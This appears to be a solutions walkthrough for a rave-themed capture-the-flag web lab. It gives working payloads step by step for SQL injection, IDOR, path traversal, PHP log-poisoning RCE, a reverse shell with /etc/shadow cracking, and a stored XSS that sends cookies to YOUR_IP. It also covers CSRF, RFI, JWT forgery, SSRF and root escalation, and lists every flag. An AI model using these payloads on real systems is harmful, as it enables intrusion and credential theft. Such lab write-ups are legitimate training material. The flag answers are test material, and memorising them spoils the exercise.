

Flag 1 — SQL Injection Login + Admin Panel

Page: </login> then </admin>

Steps:

1. Navigate to <http://localhost:5000/login>
2. In the username field enter:

admin'--

3. Put anything in the password field and click Sign In
4. You are logged in as admin
5. Navigate to the dashboard and click the **ADMIN PANEL** card
6. The flag is displayed:

flag1{sql1_4dm1n_4cc3ss_rav3r_pwn3d}

Why it works: The query becomes:

```
SELECT * FROM users WHERE username='admin'--' AND password='anything'
```

The -- comments out the password check entirely.

Flag 2 — SQL Injection Data Exfiltration

Page: </notes>

Steps:

1. Log in as any user and navigate to </notes>
2. In the search box enter:

```
' UNION SELECT 1,2,name,value FROM secrets--
```

3. The flag appears in the results:

flag2{plur_and_p0wn_th3_d4nc3fl00r}

Other useful payloads:

Dump all tables:

```
' UNION SELECT 1,2,name,sql FROM sqlite_master WHERE type='table'--
```

Dump all users and passwords:

```
' UNION SELECT 1,2,username,password FROM users--
```

Why it works: The search parameter is passed raw into a SQL query with no sanitization, allowing a UNION query to pull from any table in the database.

Flag 3 — IDOR

Page: </notes>

Steps:

1. Log in as any non-admin user such as [griz_fan](#)
2. Navigate to </notes> — you land on /notes?user_id=2
3. Change the URL to:

http://localhost:5000/notes?user_id=1

4. You now see the admin's private note:

flag3{1d0r_4dm1n_pr1v4t3_n0t3_exf1ltr4t3d}

Why it works: The app never checks that the [user_id](#) in the URL matches the logged-in session.

Flag 4 — LFI

Page: `/artists`

Steps:

1. Navigate to:

`http://localhost:5000/artists?file=../../../../secret/flag4.txt`

2. The flag appears in the ARTISTS box:

`flag4{lf1_tr4v3rs4l_f1l3_r34d_rav3r_pwn3d}`

Other things to read:

`http://localhost:5000/artists?file=../../../../etc/passwd`

`http://localhost:5000/artists?file=../archive/easteregg.txt`

Why it works: The `?file=` parameter is passed directly to `open()` with no path sanitization, allowing `../` traversal outside the static directory.

Flag 5 — Log Poisoning + RCE

Page: `/login` to poison, `/artists` to execute

Steps:

1. Navigate to `/login`
2. Enter this exactly as the username — password can be anything:

`<?php system($_GET['cmd']); ?>`

3. Click Sign In — the payload is now written raw into `logs/app.log`
4. Verify it landed by visiting:

`http://localhost:5000/logs`

5. Trigger RCE via LFI:

`http://localhost:5000/artists?file=../logs/app.log&cmd=id`

6. Confirm RCE is working — output of `id` appears on the page
7. Read the flag:

`http://localhost:5000/artists?file=../logs/app.log&cmd=cat+../../secret2/flag5.txt`

8. The flag appears:

`flag5{l0g_p01s0n_rce_rav3r_sh3ll_pwn3d}`

Other commands:

`http://localhost:5000/artists?file=../logs/app.log&cmd=whoami`

`http://localhost:5000/artists?file=../logs/app.log&cmd=ls+ -la`

`http://localhost:5000/artists?file=../logs/app.log&cmd=ls+secret/`

Why it works: The login page logs the raw username without sanitization. The LFI on `/artists` then includes that log file and the app detects the embedded payload and executes the `cmd` parameter as a shell command.

Flag 6 — File Upload + Reverse Shell

Page: `/upload`

Steps:

1. Start a netcat listener on your machine:

`nc -lvnp 4444`

2. Create `revshell.png.phtml` with your IP filled in
3. Log in and navigate to `/upload`
4. Upload `revshell.png.phtml`
5. Navigate to:

`http://localhost:5000/uploads/revshell.png.phtml`

6. The page hangs — check your netcat listener — you now have a shell
7. Then you need to read `/etc/shadow` as `www-data`

8. Crack the hash for griz, password is: password, crackable via rockyou.txt
9. Su griz
10. Cat /home/griz/flag6.txt
8. The flag appears:

flag6{unr3str1ct3d_upl04d_sh3ll_pwn3d}

Why it works: The app blocks `.php` but not `.phtml`. The double extension `revshell.png.phtml` bypasses the filename check and the server executes it directly with `php-cli`.

Flag 7 — HTTP Verb Tampering

Page: `/backstage`

Steps:

1. First find the VIP token via SQLi on `/notes`:

```
' UNION SELECT 1,2,name,value FROM secrets--
```

2. Note the `vip_token` value: `PLUR4EVER`
3. Navigate to `http://localhost:5000/backstage` — you get a 403
4. Get your session cookie from browser dev tools:

F12 → Application → Cookies → copy the session value

5. Send a POST request with curl:

```
curl -X POST http://localhost:5000/backstage \  
-H "Cookie: session=YOUR-SESSION-COOKIE" \  
-d "token=PLUR4EVER"
```

6. The flag is returned:

flag7{v3rb_t4mp3r_b4cks74g3_p4ss}

Using Burp Suite instead:

1. Visit `/backstage` with Burp intercepting
2. Intercept the GET request

3. Change the method to POST
4. Add to the request body:

token=PLUR4EVER

5. Forward the request
6. The token is gotten from the secrets table

Why it works: The GET handler returns 403. The POST handler accepts the token from any logged-in user — you just have to know to send a POST directly.

Flag 8 — Easter Egg

Page: [/archive](#)

Steps:

1. Log in and navigate to [/archive](#)
2. Click [easteregg.txt](#) — you see a base64 encoded string
3. Base64 decode it:

```
echo "PASTE_STRING_HERE" | base64 -d
```

4. The result is ROT13 encoded — decode it:

```
echo "PASTE_ROT13_STRING" | tr 'A-Za-z' 'N-ZA-Mn-za-m'
```

5. The decoded text reveals the hidden path
6. Navigate there and collect the flag:

```
flag8{3ast3r_3gg_h1dd3n_rav3r_qu3st_c0mpl3t3d}
```

Why it works: The file is encoded with a Caesar cipher (ROT13) and then base64 encoded. Reversing the encoding reveals the hidden path.

Flag 9 — Root Flag

Requires a shell and privilege escalation

Steps:

1. Get a shell on the server via flag 6
2. Check who you are: (griz is needed for sudo permissions)
3. If you are not root, look for privilege escalation vectors:
4. The vector is sudobaron, found via linpeas
5. POC: <https://github.com/CptGibbon/CVE-2021-3156>
4. Escalate to root and read the flag:

```
cat/flag9.txt
```

5. The flag appears:

```
flag9{r00t_th3_rav3_pwn3d_th3_d4nc3fl00r}
```

Why it works: The flag file is owned by root with permissions `600`, meaning only root can read it. Players must escalate privileges after getting their initial shell via the file upload vulnerability.

FLAG 10 — Stored XSS Cookie Steal (/forum)

Steps:

1. Start a listener on your machine:

```
python3 -m http.server 8888
```

2. Log in as any user and post this to the forum:

```
<script>fetch('http://YOUR_IP:8888/?c='+document.cookie)</script>
```

3. Wait up to 30 seconds — your listener receives:

```
GET /?c=flag10=flag10{y0ur_c00k13_g0t_st0l3n_in_the_moshpit}
```

FLAG 11 — Stored XSS + CSRF Password Change (/forum → /settings)

Steps:

1. Log in as any user and post this to the forum:

```
<script>
fetch('/settings', {
  method: 'POST',
  credentials: 'include',
  headers: {'Content-Type': 'application/x-www-form-urlencoded'},
  body: 'new_password=hacked'
});
</script>
```

2. Wait up to 30 seconds — the bot visits /forum, the XSS fires, griz's password becomes hacked.
3. Log in as griz with password hacked — the flag appears on the home page.

flag11{csrf_dr0pp3d_l1k3_the_b4ss}

FLAG 12 — RFI Remote Shell (/visuals)

Steps:

Can also make shell.txt with exec: <command> :end

1. Create shell.php on your machine:
2. Serve it:

```
python3 -m http.server 8888
```

3. Navigate to:

http://TARGET_IP:5000/visuals?url=http://YOUR_IP:8888/shell.php

The flag is in /secret/flag12.txt

flag12{rfi_sh3ll_fr0m_the_rav3_c4v3}

FLAG 13 — JWT None Algorithm (/backstage)

Steps:

1. Run gobuster to find hidden endpoints:

```
gobuster dir -u http://TARGET_IP:5000 -w /usr/share/wordlists/dirb/common.txt
```

Find /backstage and /token.

2. Get your own signed JWT.

```
curl -b "session=YOUR_SESSION_COOKIE" http://TARGET_IP:5000/token
```

3. Decode it to understand the structure:
4. Forge a token as subtronics with alg: none:
5. Send via curl:

```
curl -H "Authorization: Bearer YOUR_FORGED_TOKEN" http://TARGET_IP:5000/backstage
```

Or intercept via Burp — visit /token, intercept the POST and replace the token with your forged one.

```
flag13{jwt_n0n3_alg0_b4ckst4g3_p4ss}
```

FLAG 14 — SSRF Internal Admin Panel (/visuals)

Steps:

1. Navigate to:

```
http://TARGET_IP:5000/visuals?url=http://127.0.0.1:7777/
```

2. The server fetches its internal admin panel on port 7777 and returns the flag in the preview.

```
flag14{ssrf_h1t_the_1nt3rn4l_d3cks}
```

FLAG 15 — Root Flag (RFI Shell)

Steps:

1. First get a shell with RFI
2. Run linpeas to see vulns
3. Find pwnkit
4. Find a PoC
5. <https://github.com/UNICORDev/exploit-CVE-2021-3560>
6. Crack griz's password by reading /etc/shadow
7. cd /home/griz
8. Use poc
9. Get root

Grab the flag at /flag15.txt

flag15{r00t_of_the_rav3_y0u_0wn_the_syst3m}